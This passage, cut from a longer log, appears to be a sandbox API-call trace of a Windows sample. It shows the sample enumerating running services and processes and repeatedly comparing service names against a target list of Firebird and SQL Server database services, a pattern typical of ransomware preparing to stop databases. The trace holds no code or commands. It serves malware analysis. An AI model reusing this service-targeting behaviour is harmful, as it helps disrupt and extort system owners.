lpString2="NlaSvc") returned -1 [0170.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0170.119] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0170.119] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0170.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0170.119] lstrlenW (lpString="nsi") returned 3 [0170.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0170.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0170.120] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0170.120] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0170.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0170.120] lstrlenW (lpString="PcaSvc") returned 6 [0170.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0170.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0170.120] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0170.120] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0170.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0170.120] lstrlenW (lpString="PlugPlay") returned 8 [0170.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0170.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0170.120] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0170.120] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0170.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0170.120] lstrlenW (lpString="Power") returned 5 [0170.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0170.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0170.120] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0170.120] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0170.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0170.120] lstrlenW (lpString="ProfSvc") returned 7 [0170.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0170.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0170.120] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0170.120] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0170.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0170.120] lstrlenW (lpString="RpcEptMapper") returned 12 [0170.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.120] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0170.121] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0170.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0170.121] lstrlenW (lpString="RpcSs") returned 5 [0170.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0170.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0170.121] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0170.121] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0170.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0170.121] lstrlenW (lpString="SamSs") returned 5 [0170.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0170.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0170.121] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0170.121] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0170.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0170.121] lstrlenW (lpString="Schedule") returned 8 [0170.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0170.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0170.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0170.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0170.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0170.121] lstrlenW (lpString="SecurityHealthService") returned 21 [0170.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0170.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0170.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0170.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0170.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0170.456] lstrlenW (lpString="SENS") returned 4 [0170.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0170.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0170.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0170.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0170.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0170.456] lstrlenW (lpString="ShellHWDetection") returned 16 [0170.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.456] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0170.456] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0170.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0170.457] lstrlenW (lpString="Spooler") returned 7 [0170.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0170.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0170.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0170.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0170.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0170.457] lstrlenW (lpString="StateRepository") returned 15 [0170.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0170.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0170.457] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0170.457] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0170.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0170.457] lstrlenW (lpString="SysMain") returned 7 [0170.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0170.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0170.457] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0170.457] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0170.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0170.457] lstrlenW (lpString="SystemEventsBroker") returned 18 [0170.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0170.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0170.457] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0170.457] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0170.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0170.458] lstrlenW (lpString="Themes") returned 6 [0170.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0170.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0170.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0170.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0170.458] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x465efa8 | out: hHeap=0x710000) returned 1 [0170.458] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x510 [0170.466] Process32FirstW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.467] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.467] lstrlenW (lpString="System") returned 6 [0170.468] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.469] lstrlenW (lpString="smss.exe") returned 8 [0170.469] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.470] lstrlenW (lpString="csrss.exe") returned 9 [0170.470] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.471] lstrlenW (lpString="wininit.exe") returned 11 [0170.471] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.472] lstrlenW (lpString="csrss.exe") returned 9 [0170.472] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.473] lstrlenW (lpString="winlogon.exe") returned 12 [0170.473] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.474] lstrlenW (lpString="services.exe") returned 12 [0170.474] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.475] lstrlenW (lpString="lsass.exe") returned 9 [0170.475] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0170.476] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0170.476] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0170.477] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0170.477] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.478] lstrlenW (lpString="svchost.exe") returned 11 [0170.478] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.479] lstrlenW (lpString="svchost.exe") returned 11 [0170.479] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.480] lstrlenW (lpString="dwm.exe") returned 7 [0170.480] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.482] lstrlenW (lpString="svchost.exe") returned 11 [0170.482] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.483] lstrlenW (lpString="svchost.exe") returned 11 [0170.483] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.484] lstrlenW (lpString="svchost.exe") returned 11 [0170.484] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.485] lstrlenW (lpString="svchost.exe") returned 11 [0170.485] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.486] lstrlenW (lpString="svchost.exe") returned 11 [0170.486] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.487] lstrlenW (lpString="svchost.exe") returned 11 [0170.487] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.488] lstrlenW (lpString="svchost.exe") returned 11 [0170.488] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.489] lstrlenW (lpString="svchost.exe") returned 11 [0170.489] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.490] lstrlenW (lpString="svchost.exe") returned 11 [0170.490] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.490] lstrlenW (lpString="svchost.exe") returned 11 [0170.491] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.491] lstrlenW (lpString="spoolsv.exe") returned 11 [0170.492] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.493] lstrlenW (lpString="svchost.exe") returned 11 [0170.493] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.494] lstrlenW (lpString="audiodg.exe") returned 11 [0170.494] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0170.495] lstrlenW (lpString="taskhostw.exe") returned 13 [0170.495] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0170.824] lstrlenW (lpString="sihost.exe") returned 10 [0170.824] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.825] lstrlenW (lpString="svchost.exe") returned 11 [0170.825] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0170.826] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0170.826] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0170.827] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0170.827] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0170.828] lstrlenW (lpString="Memory Compression") returned 18 [0170.828] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0170.828] lstrlenW (lpString="taskhostw.exe") returned 13 [0170.829] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0170.829] lstrlenW (lpString="msoia.exe") returned 9 [0170.829] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.830] lstrlenW (lpString="explorer.exe") returned 12 [0170.830] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0170.831] lstrlenW (lpString="SearchUI.exe") returned 12 [0170.831] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0170.832] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0170.832] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0170.832] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0170.832] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0170.833] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0170.833] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0170.834] lstrlenW (lpString="wmxsde.exe") returned 10 [0170.834] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0170.835] lstrlenW (lpString="cmd.exe") returned 7 [0170.835] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0170.836] lstrlenW (lpString="conhost.exe") returned 11 [0170.836] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0170.836] CloseHandle (hObject=0x510) returned 1 [0170.837] Sleep (dwMilliseconds=0x1f4) [0171.468] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f1c8 [0171.469] EnumServicesStatusExW (in: hSCManager=0x459f1c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0171.470] GetLastError () returned 0xea [0171.470] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c28) returned 0x463ef98 [0171.470] EnumServicesStatusExW (in: hSCManager=0x459f1c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x463ef98, cbBufSize=0x1c28, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x463ef98, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0171.471] CloseServiceHandle (hSCObject=0x459f1c8) returned 1 [0171.471] lstrlenW (lpString="Appinfo") returned 7 [0171.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0171.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0171.471] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0171.471] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0171.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0171.471] lstrlenW (lpString="AppXSvc") returned 7 [0171.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0171.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0171.472] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") 